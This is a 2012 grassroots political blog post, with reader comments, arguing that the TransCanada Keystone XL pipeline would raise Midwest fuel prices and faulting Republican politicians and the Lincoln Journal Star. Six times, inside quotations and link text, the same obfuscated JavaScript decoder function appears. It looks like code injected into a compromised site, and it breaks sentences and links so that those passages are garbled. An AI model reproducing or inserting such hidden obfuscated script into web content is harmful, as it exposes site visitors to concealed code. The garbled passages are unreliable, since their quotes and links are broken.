Grassroots in Nebraska

Working towards Constitutional, limited government

You are here: Home / Featured / Pumping Up Politics, Prices: Transcanada Keystone XL Pipeline

Pumping Up Politics, Prices: Transcanada Keystone XL Pipeline

Originally published , By . Updated . 8 Comments

Image of the March 23, 2012 Lincoln Journal Star print edition. Headline, "Pipeline could raise gas prices"

Image of the March 23, 2012 Lincoln Journal Star print edition. Headline, “Pipeline could raise gas prices”

From my article of November 2, 2011, “TransCanada Trojan Horse: Keystone XL Pipeline Will Increase Gas Prices“:

“The TransCanada Keystone Xl pipeline project will result in increased gas and diesel prices in 15 Midwestern States – to the detriment of those states’ citizens and economies."

While I continue to ponder the question...

  • How much more prayer will it take to ensure that I take the high road and NOT say, "Told ya so"?

...some catching up is in order.

Late last summer and through the fall, we focused our attention on the very divisive subject of the TransCanada Keystone XL Pipeline project. A lot of time was spent on research and we published a number of articles, which it turns out, rank towards the top of the list of our most popular articles of all time. A couple of these articles get read on a daily basis as a result of Google searches and incoming links from other websites of all sorts, including one law school library's website's overview of the issue.

What turned into an unexpected article series concluded with a tongue-in-cheek projection of what lay ahead:

"The New National Past Time: Pipeline Hot Potato"

(If you have not yet checked this out, I highly recommend it, especially if you need a laugh - Linda & I had fun putting it together.)

While I turned out to be generally correct regarding what would happen following Nebraska's special legislative session - that the issue of the Pipeline project would be launched out of Nebraska and onto the national political scene - I did not expect to see all that has occurred.

And just what has that been, exactly?

  • What was a divisive issue in Nebraska has become completely polarized on the national scene.
  • Republicans, literally, across the board, exhibit a Pavlovian-type of response which makes me cringe.
"When Pavlov's Dog Begs..." cartoon. Like Pavlov's Dog - Republicans "Will advocate for pipeline"

Like Pavlov's Dog - Republicans "Will advocate for pipeline"

Just like Pavlov's dogs drooled, right on cue, when the bell was rung, say "Keystone Pipeline" to a Republican -- whether a member of the House or the Senate, a "strategist", a pundit, or a Presidential candidate -- and you will hear such statements as the following:

"When someone says we want to bring in a pipeline that's going to create tens of thousands of jobs to bring oil in from Canada, how in the world could you say no?" - Mitt Romney, March 1, 2012

"The president is lobbying for sending North American energy to China, and he is lobbying against American jobs," said Brendan Buck, a spokesman for House Speaker John Boehner, R-Ohio.

"Yet the Obama administration’s ideological refusal to expand American energy production continues to block the development of resources which could lower prices dramatically. As we saw most recently with the administration’s rejection of the Keystone XL pipeline, the president is more interested in playing favorites with environmental extremists rather than embracing the “all-of-the-above” strategy that could achieve energy independence and help all Americans now." - function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand energy independence" href="http://www.humanevents.com/article.php?id=49525" target="_blank">Newt Gingrich, February 15, 2012

John Boehner and Newt Gingrich are just two of very many Republican politicians who seem "confused" about the existence of a border between the United States and Canada, or at least, rhetorically merge America and North America, as if they are one place. TransCanada, advocates and elected officials in positions of power have regularly engaged in such shape-shifting. Nebraska's lead advocate for Keystone, District 2 Congressman Lee Terry, sponsored a bill with a title along those lines: "The North American-Made Energy Security Act".

*A Geography/ Civics 101 Review*

North America = a continent containing more than one sovereign nation

America = short for the United States of America, only one part of the larger continent; a sovereign nation with defined borders; a Republic with a Constitution

So, properly identifying the ORIGIN of the oil that would run through a Keystone XL Pipeline seems like a basic concept. Also seems like a basic Constitutional responsibility 1Note that Congressmen attempting to take action are engaging in acts that are, at best, questionable under our Constitution; Article II, Section 2, ...continue. Such confusion on the part of Republicans SHOULD provoke seriously thinking by Americans who give a good-gosh-darn about...

  • Energy prices, especially oil and gasoline, now and into the future
  • Sovereignty
  • Property rights

Questions, to date, have not been answered:

WHY are Republicans spending SO much time and energy advocating for a project that....

  • Does NOT work to tap UNITED STATES oil?
  • Does NOT expand U.S. refinery capacity?
  • Does NOT promote the building of AMERICAN pipelines (where they are needed)?
  • Benefits a Canadian pipeline company?
  • Benefits all Canadian oil producers?
  • Introduces a NEW, and therefore additional source of FOREIGN oil and constitutes COMPETITION with AMERICAN oil producers in the Gulf Coast region?

AND NOW - TO THE March 2012 LINCOLN JOURNAL STAR ARTICLE

As THE newspaper of record in the seat of state-government, with reporters assigned to the Capitol, and purporting to be a NEWS entity, Lincoln Journal Star had ample opportunity to FULLY report on all matters associated with the TransCanada Keystone XL Pipeline during the very long period from the time the project was first proposed all the way through the increasingly intense debate that heated up in the summer months of 2011, and continued through the Unicameral's special session to contend with the issue, which occurred in November 2011.

It's not that the Journal Star didn't cover the story - there are articles galore. To refresh my memory about the coverage, I did a search (to replicate my steps click  HERE and type in "pipeline project" in the search field). Pages, pages, and more pages of Keystone XL Pipeline articles.

It's astonishing how so very many articles can be written that reveal little to nothing of importance, or only do so at times when important information is rendered irrelevant.

A November 10, 2011, article, function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandhills" href="http://journalstar.com/news/unicameral/state-department-explore-a-keystone-xl-route-away-from-sandhills/article_b04b2097-6c08-561d-ac30-afe012457b4c.html#ixzz1r3ZXiHf8" target="_blank">"State Department: Explore a Keystone XL route away from Sandhills", included a summary of the whole Pipeline issue that is oh-so-familiar:

"The announcement came from the State Department early Thursday afternoon and means final approval for the $7 billion, 1,700-mile pipeline won't come until after the 2012 U.S. election.

The decision is a victory for environmentalists who feared the proposed route could endanger the massive Ogallala Aquifer, which is a source of irrigation and drinking water for a large swath of the central United States.

And it is a setback for TransCanada, which has been working on the project for some three years."

Compare Journal Star's summary to my summary, below:

---- STANDARD TALKING POINTS ON THE PIPELINE IN NEBRASKA AND NATIONALLY----

Big (baaaad) Oil versus the environmentalists

Dirty Oil versus the Sandhills, the Aquifer

"energy independence" versus clean air, clean water

jobs, jobs, jobs versus the crazy greenies

{North} American "friendly" oil versus foreign oil versus "green" energy

Republicans versus Obama

----END STANDARD TALKING POINTS----

Thank you, Lincoln Journal Star, for helping to frame the issue of the Keystone XL Pipeline in a way that perpetuates political polarization, and, is, of course, above all, slanted decidedly in a progressive direction.

I think Journal Star editors and staff are too busy worrying about their own legislative (aka political) agenda2 Every January, the Lincoln Journal Star Editorial Board publishes it's annual "agenda", stating, "Our intent is to be clear function ...continue to bother with things like...

  • Reviewing their own reportage
  • Engaging in ongoing investigative reports
  • Asking TOUGH questions of elected officials
  • Citing source information
  • Engaging in FULL disclosure

I did an extensive review of Journal Star articles on the pipeline - dating back to October, 2011. {Anyone have some spare ibuprofen?} to confirm or refute my recollections. My question was: Did the Journal Star EVER followed up on IT'S OWN article of February, 16, 2011: "function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-regional/nebraska/article_7c6a08e6-0fbe-5ee4-89ef-a599b315a3f9.html" target="_blank">Some see Keystone XL as path to higher gas prices in Midwest"?

The answer is no.

Not until the March 23, 2012, article referenced here, which is almost five months after the conclusion of the special legislative session on the subject.

In the interim, the Journal Star's reporting created the impression that one of the benefits of the pipeline, if approved, would be to lower gas prices across the board.  The Journal Star failed to even question TransCanada and Nebraska officials about the price impact on the citizens of Nebraska (You know, those people who live in the Journal Star's circulation area?) as debate intensified and the special session of the Unicameral was called.  In addition...

What can one say about Journal Star's credibility -- except that it has none?

While the March 22 / 23 article on the subject of the project's impact on pricing, both generally and  here in Nebraska, did give more information than in any previously published, it was almost entirely based on quotes from "industry experts" and therefore, was lacking in a full exposition of WHY the Keystone XL Pipeline is projected to increase prices for midwesterners in particular.

INDEPENDENT RESEARCH - anyone?

ATTEMPTS TO OBTAIN QUOTES FROM NEBRASKA OFFICIALS --- hellooooooo?

One State Senator Journal Star reporters could've contacted? How about Senator "We were lobbied to become uncertain about our rights" Annette Dubas3When Dubas testified before the Unicameral's Natural Resources Committee about her special session bill, that, '...[W]e have been trying to pass ...continue? Her special session pipeline bill, LB1, according to a Journal Star article, and the final bill language itself, listed the criteria necessary for Nebraska Public Service Commission approval of such a project. One requirement:

"Major oil pipeline applicants must be approved under the public interest test..." including - "economic benefits and social impacts;"

I dunno...is it just me...are increased prices at the pump not an "economic" detriment, and therefore the opposite of a benefit? Is that in Nebraska's "public interest"? hmmmmm...

Since Journal Star just can't be bothered to do any research of its own, here is solid information on the subject, taken from PRIMARY SOURCE DOCUMENTS (journalists - a simple definition of this term for you: My mother used to call such sources "the horse's mouth"). The bullets, below, which I copied from the "TransCanada Trojan Horse..." article, were based on the function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand_Markets_%28Tab_3%29_incl._Appendix_3.1_-_A1I9R7?nodeid=549324&vernum=0" target="_blank">official permit application documents filed by TransCanada with the Canadian National Energy Board (for very many additional links, see that "Trojan Horse..." article):

  • Bitumen projects (tar sands oil) are cheaper to develop than synthetic crude
  • New export markets are needed to handle increased heavy crude output
  • Keystone XL Pipeline provides a line for getting heavy crude to new markets now – option to move synthetic crude in future
  • PADD III (Gulf Coast) is the largest untapped market for western Canadian crude oil producers
  • The U.S. Gulf Coast (USGC), within the PADD III region is the stated target market for the Keystone XL Pipeline
  • TransCanada has binding long term contracts with shippers in the USGC which are not fully available for public viewing
  • The fifteen state Midwest region, PADD II, is oversupplied with Canadian heavy crude and currently receiving “a discount” (translation: selling for a lower price)
  • Keystone XL will “strengthen” (translation: increase) prices for Canadian producers by removing oversupply
  • Keystone XL provides additional benefit for transport out of any synthetic crude oversupply in Midwest (PADD II) “to mitigate a price discount” (translation: avoid price reductions)
  • All Canadian producers should benefit from resulting price increases (estimated at $2 – $3.9 billion)

I recommend a re-read of that selection of Republican comments I included, above. And I will add another, this one from Minnesota Congresswoman Michele Bachmann (also a former GOP Presidential candidate) at the function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandidates Debate in Sioux City, Iowa December 15, 2011" href="http://historymusings.wordpress.com/2011/12/16/full-text-campaign-buzz-december-15-2011-fox-news-gop-iowa-debate-transcript-republican-presidential-candidates-debate-sioux-city-iowa/" target="_blank">December 15, 2011, Fox News GOP Primary Debate in Sioux City, Iowa. Bachmann was asked a question about the BP spill in the Gulf Coast. Following a brief response about BP, she said:

"But I wanted to add something on Keystone. Keystone is extremely important, the pipeline.

This pipeline is one that would have brought at least 20,000 jobs, at least $6.5 billion worth of economic activity. And if I was president of the United States, I wouldn’t have taken the decision that President Obama did."

Minnesota is in PADD II, the 15 Midwest state district where prices are projected to increase $.10 - $.20 per gallon as a result of the ability to divert oil from midwestern refineries (including one in Minnesota), which a completed Keystone XL Pipeline would provide. Her voluntary advocacy (she was not asked about the Keystone pipeline, note) is troubling. It was gratuitous, but, I suspect, not likely, gratis.

Whether it be politicians, elected officials, or a daily newspaper, I cannot find a way to rationally explain - in a way that is remotely positive - the utter lack of diligence. It truly bothers me. And THAT is where the rubber meets the road for me. This disturbing and unavoidable truth, along with the facts I point out, below, is the reason why I am spending any time at all on how the agenda-driven Journal Star has reported. But the lack of diligence by elected officials and politicos must be pointed out regardless.

Please note for the record:

  • I and the others here at GiN do not get paid for our time.
  • We are not receiving donations.
  • We do not have some deep-pocketed benefactor who funds our work.
  • We do not have the staff that elected officials, Presidential candidates, think tanks, or newspapers have.

Despite that -

  • We found primary source documents, including the filings by TransCanada with the Canadian and U.S. governments.
  • We did extensive searches for verifiable information and vetted those sources, tracking down THEIR citations to confirm.
  • We made phone calls and we sent emails to obtain additional information.
  • We walked through the facts, waded out the rumors.
  • We waited to publish articles - especially on such an explosive subject - until we knew what we were publishing was accurate.

THREE IMPORTANT QUESTIONS -

If I and others here at GiN can discover this information - WHY can't the rest of these people?

What ELSE are we not being told all the facts about by our local newspaper (or any other "news outlets")?

Is there any justification for the positions taken by our elected officials and candidates for office?

ADDENDUM BY LINDA:

If Shelli isn't going to say "I told you so," I can't either.  But if she won't "Rub it In" . . . and I can't . . . I think I'll leave the job to Billy.

This article is part of one or more series – see bottom


TransCanada Keystone XL Pipeline article series page

Images & Graphics Sources

The images and graphics in this article were obtained from the following sources:
  • The Lincoln Journal Star newspaper image from the March 22, 2012 print edition is an actual scan of that day's newspaper
  • Pavlov's dog cartoon found on Ivan Pavlov Group 3 - a page about the conditioning method behaviorism

Notes & References   [ + ]

1. ↑ Note that Congressmen attempting to take action are engaging in acts that are, at best, questionable under our Constitution; Article II, Section 2, "He (The executive / the President) shall have Power, by and with the Advice and Consent of the Senate, to make Treaties, provided two-thirds of the Senators present concur;". The Senate shouldn't have taken up Lee Terry's bill.
2. ↑ Every January, the Lincoln Journal Star Editorial Board publishes it's annual "agenda", stating, "Our intent is to be clear and direct with our readers on our priorities." In both 2011 and 2012, the agendas published included mention of the Keystone XL Pipeline. Question: Why do people believe that any "news" outlet, whether it be print or broadcast, is "fair and balanced", unbiased, or objective? Journal Star, by stating it HAS an agenda is clearly signalling to anyone reading that the newspaper does not exist to report events, but to ADVOCATE. We could thank the Journal Star Editorial Board for being so clear in notifying readers. But, I contend that the claim of an intent to be "clear and direct" is, in itself misleading. Considering the way in which Journal Star regularly reports on many issues, including the Pipeline, and specifically, the timing of publication of the price impact issue, Journal Star proves that its stated agenda about the pipeline was not "clear and direct" - its advocacy was clearly not limited to re-routing.
3. ↑ When Dubas testified before the Unicameral's Natural Resources Committee about her special session bill, that, '...[W]e have been trying to pass siting laws for the past three years. If the lobbying efforts had spent less time, energy, and money blocking our work, we would not be in this special session...'This is a discussion and a decision that should have been made already. We were lobbied to become uncertain about our rights. Now we are faced with citizens who feel we have ignored their concerns and misleading and aggressive threats of billion dollar lawsuits.'" It was such amazing statements by an elected official that led us to characterize Dubas precisely as we did in our parody game show piece about the whole Nebraska Pipeline affair, "The New National Past Time: Pipeline Hot Potato"

Comments

  1. Why no expose on LB 1161? The bill’s state constitutionality is in jeopardy. Further, what are your feelings regarding state eminent domain powers being used before federal approval is assured?

    Reply

    • “Why no expose on LB 1161?” I think the answer to your question might be here:

      “I and the others here at GiN do not get paid for our time.
      We are not receiving donations (the small Amazon ad is to generate a little commission to pay site expenses).
      We do not have some deep-pocketed benefactor who funds our work.
      We do not have the staff that elected officials, Presidential candidates, think tanks, or newspapers have.”
      -It’s resources, brother, resources. Perhaps you might like to volunteer some time in researching areas of particular interest to yourself.

      As for your question about use of eminent domain, this particular pipeline, when built, will be the fastest and cheapest method of transportation for the product of a private foreign corporation, designed to increase their profits at the expense of their current customers in the U.S. It is a hard case to make, that land confiscated for pipeline easements is for “the public use”, or even provides a public benefit. It is true that a (relatively) small number of jobs will be created for the short time it takes to build the pipeline, but that small number of jobs can hardly be construed as a public use of the seized lands. TransCanada has likely projected the cost to them for those jobs will be paid back many times over by collecting higher prices for the product ultimately delivered and sold via the pipeline.

      You can find out much more about the pipeline by reading the prior article referenced by Shelli, above.

      Reply

  2. I just want to say, “Thank you!” Thank you for all the work that you put forth in gathering all this information and disseminating it in a way that is easily understood.

    Reply

  3. Thank you. While I (weakly) support the pipeline, yours is the only real reporting on it that I have found. This is just ridiculous. You, with very limited resources have done the job that paid media won’t do. And done it superlatively.

    There is a reason I rarely bother with newspapers anymore. Care to guess why? 3 guesses and the first 2 don’t count.

    And yes this is a very weak justification for the use of eminent domain. If they want to build the pipeline (or anything similar) let them pay market price for the route, there is no (or very little) public benefit to Nebraska in this project.

    Thanks again.

    Reply

    • Hi Dave,
      As always thanks for taking the time to read an comment.

      I’ve been thinking about the whole media issue. At this point, I’m questioning why impartiality is actually something any of us have come to expect? I used to, too, but – the question is, why? It’s a business, there to make a profit OR, a tool someone funds for their own purposes.

      Anyway – question for you. Do you support the line because of a belief in the general benefits to the country? I’ve had that conversation with several other people – I understand the reasoning. That would’ve been my initial tendency, too. And of course, the whole endeavor to investigate this subject, ongoing for months, has caused me to think regularly and at great depth about the question:

      Why are gas prices so high? What caused the spikes starting in 2008?

      I’m actually about ready to write an article about that specific subject. The information I’ve discovered is very troubling.

      Of course I’m very curious as to your thoughts on this.

      Thanks,
      Shelli

      Reply

  4. Thanks for another information packed article on the pipeline.

    A couple of observations.

    1. The Midwest is enjoying a temporary over supply of Canadian tar sands oil which is keeping the price of gas by 10 to 20 cents per gallon lower. But this situation won’t last. Either the pipeline will be built to the Gulf of Mexico or it will be built to Vancouver. One way or another, the over supply and the lower prices will go away.

    2. There’s a refinery proposed for South Dakota that will take in Canadian tar sands oil and produce gasoline for this area. That should drive the price of gas down in the Midwest.

    http://www.usnews.com/opinion/blogs/on-energy/2011/10/06/amid-keystone-controversy-another-energy-project-moves-forward

    It’s hard to predict in which direction all these interactions will ultimately move the price of gas.

    That said, I’d rather import oil from Canada than from Saudi Arabia or Venezuela and our need for oil isn’t going away anytime soon.

    Reply

    • Glen,
      We just aren’t going to agree on this one. The next article about the pipeline issue will cover the subject of gas cost drivers. I’ll be interested in your thoughts on the subject after you read that one.

      Generally, however, I’d say that Canadian versus Saudi Arabian or Canadian versus Venezuela is a false choice.

      How about American oil?

      If Republicans are going to FIGHT – why not fight over **THAT**?

      This project seems as much an uphill battle as expanded drilling and refining capacity.

      I am familiar with the Hyperion project in South Dakota. That project review began in 2005 and the town of Elk Point was selected in the fall of 2006. We lived in Elk Point for ten years and so have regular contact with dear friends. There has been some serious skepticism expressed regarding whether that project will be completed.

      I wish that the fight would be over GETTING THAT REFINERY PROJECT COMPLETED.

      Why isn’t that the fight?

      Reply
You are here: Home / Featured / Pumping Up Politics, Prices: Transcanada Keystone XL Pipeline

We welcome civil comments, discussion and debate:

We're glad you've chosen to join the discussion. All comments are moderated according to our official commenting policy.

If you wish to format your comment a bit, simply highlight text, then click the appropriate button. (b = bold, i = italics)